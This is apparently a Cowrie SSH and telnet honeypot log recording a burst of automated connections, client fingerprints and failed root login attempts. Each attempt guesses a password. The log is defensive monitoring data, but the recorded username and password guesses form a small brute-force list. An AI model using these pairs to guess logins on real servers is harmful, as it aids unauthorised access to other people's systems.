{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":48036,"dst_ip":"10.17.0.5","dst_port":22,"session":"d28998f19eb8","protocol":"ssh","message":"New connection: 103.27.238.120:48036 (10.17.0.5:22) [session: d28998f19eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:07.190714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:07.199762Z","src_ip":"103.27.238.120","session":"d28998f19eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:07.471843Z","src_ip":"103.27.238.120","session":"d28998f19eb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lovely","message":"login attempt [root/lovely] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:08.290397Z","src_ip":"103.27.238.120","session":"d28998f19eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:09.565092Z","src_ip":"103.27.238.120","session":"d28998f19eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.68","src_port":49540,"dst_ip":"10.17.0.5","dst_port":22,"session":"196d42b656d7","protocol":"ssh","message":"New connection: 103.27.238.68:49540 (10.17.0.5:22) [session: 196d42b656d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:10.973943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:10.979406Z","src_ip":"103.27.238.68","session":"196d42b656d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:11.249717Z","src_ip":"103.27.238.68","session":"196d42b656d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"forest","message":"login attempt [root/forest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:12.059426Z","src_ip":"103.27.238.68","session":"196d42b656d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:13.332076Z","src_ip":"103.27.238.68","session":"196d42b656d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54994,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4e3f2abd459","protocol":"telnet","message":"New connection: 50.6.8.71:54994 (10.17.0.5:23) [session: c4e3f2abd459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:17.979692Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47390,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b98a2eb4d98","protocol":"ssh","message":"New connection: 80.94.92.184:47390 (159.203.135.109:22) [session: 8b98a2eb4d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:33.205572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:33.422935Z","src_ip":"80.94.92.184","session":"8b98a2eb4d98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:33.427385Z","src_ip":"80.94.92.184","session":"8b98a2eb4d98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123@","message":"login attempt [solana/123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:35.228397Z","src_ip":"80.94.92.184","session":"8b98a2eb4d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:36.467316Z","src_ip":"80.94.92.184","session":"8b98a2eb4d98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":59260,"dst_ip":"10.17.0.5","dst_port":22,"session":"aac2c46d151a","protocol":"ssh","message":"New connection: 103.27.238.116:59260 (10.17.0.5:22) [session: aac2c46d151a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:40.306562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:40.313845Z","src_ip":"103.27.238.116","session":"aac2c46d151a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:40.573993Z","src_ip":"103.27.238.116","session":"aac2c46d151a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qwerty","message":"login attempt [root/1qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:41.354218Z","src_ip":"103.27.238.116","session":"aac2c46d151a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":36272,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff4028057b61","protocol":"telnet","message":"New connection: 23.94.28.189:36272 (10.17.0.5:23) [session: ff4028057b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:41.725267Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":38582,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7c1710e1b50","protocol":"ssh","message":"New connection: 103.149.28.157:38582 (10.17.0.5:22) [session: a7c1710e1b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:42.209129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:42.213723Z","src_ip":"103.149.28.157","session":"a7c1710e1b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:42.457155Z","src_ip":"103.149.28.157","session":"a7c1710e1b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:42.616637Z","src_ip":"103.27.238.116","session":"aac2c46d151a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqq","message":"login attempt [root/qqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:43.437459Z","src_ip":"103.149.28.157","session":"a7c1710e1b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:44.689699Z","src_ip":"103.149.28.157","session":"a7c1710e1b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.94816255569458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:48.927699Z","src_ip":"50.6.8.71","session":"c4e3f2abd459","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.118","src_port":33538,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f5ff959f5ff","protocol":"ssh","message":"New connection: 103.27.238.118:33538 (10.17.0.5:22) [session: 1f5ff959f5ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:54.651267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:54.655662Z","src_ip":"103.27.238.118","session":"1f5ff959f5ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:54.922647Z","src_ip":"103.27.238.118","session":"1f5ff959f5ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qq","message":"login attempt [root/12345qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:55.712417Z","src_ip":"103.27.238.118","session":"1f5ff959f5ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:15:57.009100Z","src_ip":"103.27.238.118","session":"1f5ff959f5ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49104,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa02bebdb4c3","protocol":"ssh","message":"New connection: 194.113.233.25:49104 (159.203.135.109:22) [session: aa02bebdb4c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:18.513744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:18.518682Z","src_ip":"194.113.233.25","session":"aa02bebdb4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.86276626586914,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:18.587913Z","src_ip":"23.94.28.189","session":"ff4028057b61","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:18.613324Z","src_ip":"194.113.233.25","session":"aa02bebdb4c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vbkfirf","message":"login attempt [root/vbkfirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:18.897803Z","src_ip":"194.113.233.25","session":"aa02bebdb4c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:20.002933Z","src_ip":"194.113.233.25","session":"aa02bebdb4c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":55810,"dst_ip":"10.17.0.5","dst_port":22,"session":"7295aa16ebe4","protocol":"ssh","message":"New connection: 103.122.221.179:55810 (10.17.0.5:22) [session: 7295aa16ebe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:23.215863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:23.221188Z","src_ip":"103.122.221.179","session":"7295aa16ebe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:23.485680Z","src_ip":"103.122.221.179","session":"7295aa16ebe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:24.283310Z","src_ip":"103.122.221.179","session":"7295aa16ebe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:16:25.550717Z","src_ip":"103.122.221.179","session":"7295aa16ebe4","protocol":"ssh"}
